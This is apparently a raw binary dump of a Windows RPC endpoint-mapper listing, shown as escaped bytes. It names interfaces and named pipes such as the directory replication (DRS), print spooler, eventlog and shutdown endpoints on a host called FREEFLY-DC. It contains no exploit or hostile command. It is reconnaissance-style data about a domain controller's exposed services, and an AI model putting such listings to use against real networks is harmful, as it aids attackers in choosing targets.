00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddsens\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddsens\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddsens\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xdd\xc7\xf7\xd1$\xafv(O\x9c\xcd\x7fl\xb6F\x86\x01>\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\xc7\xf7\xd1$\xafv(O\x9c\xcd\x7fl\xb6F\x86\x01?\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddgpclient\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddgpclient\x00\x00\x00\x00\x00\x00\x00\x00A\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xddprofiles\x00\x00\x00\x00\x00\x00\x00\x00B\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Impl friendly name\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00E\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00F\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00WinHttp Auto-Proxy Service\x00\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00G\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NSI server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00NSI server endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00Fw APIs\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00Fw APIs\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00Base Firewall Engine API\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00L\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00M\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00O\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00R\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00T\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Y\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00^\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00_\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00g\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00k\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00l\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00m\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00n\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00o\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00r\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00w\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00{\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00Spooler function endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00Spooler base remote object endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00Spooler function endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8d\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x92\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x93\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x97\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00IPSec Policy agent endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00IPSec Policy agent endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00Remote Fw APIs\x00\xdd\x08n\xfb\xec\xaek\x1a@\x97}\x10x\xd7\xe2A\xd4\x9a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x08n\xfb\xec\xaek\x1a@\x97}\x10x\xd7\xe2A\xd4\x9b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd-\xa9\xf0%\x1d.\xe5N\xa4CG\xa6\xd0\xf3W!\x9c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddx\xaf\x13\x9aR\x87\xedL\xaa\xfa\xb2\x1e\xd8\x8a\xbf\\\x9d\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddR\x19\x10\xdd\x0c\xfb\x8f@\xa3\xfa6\x1a\x07a\xd5U\x9e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x94\xedS\xe7>mlB\xba><\x11\xf1\x07\xe2`\x9f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x07\xed\xc1[\xf5\xf5_H\x9d\xfdo\xd0\xac\xf9\xa2<\xa0\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00Frs2 Service\x00\xdd\xdd\xdd\x07\xed\xc1[\xf5\xf5_H\x9d\xfdo\xd0\xac\xf9\xa2<\xa1\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00Frs2 Service\x00\xcc\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x00\x01\x00\t\x04\x00\x00\x00\x00\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00WindowsShutdown\x00e\x00\x00\x00e\x00\x00\x00\x05\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x13\x00\\PIPE\\InitShutdown\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccO\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052A70\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00WindowsShutdown\x00e\x00\x00\x00e\x00\x00\x00\x05\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x13\x00\\PIPE\\InitShutdown\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccO\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052A70\x00\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-755a2d4ec93d5695ee\x00O\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\r\xd8]\xe6\x12\x7f\x88\xefA\x91\xbf\x8d\x81lB\xc2\xe7\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052C21\x00\xccO\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052C21\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00dhcpcsvc\x00\xcc\xcc\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00dhcpcsvc6\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00dhcpcsvc6\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x0c\xc5\xad0\xbc\\\xceF\x9a\x0e\x91\x91G\x89\xe2<\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\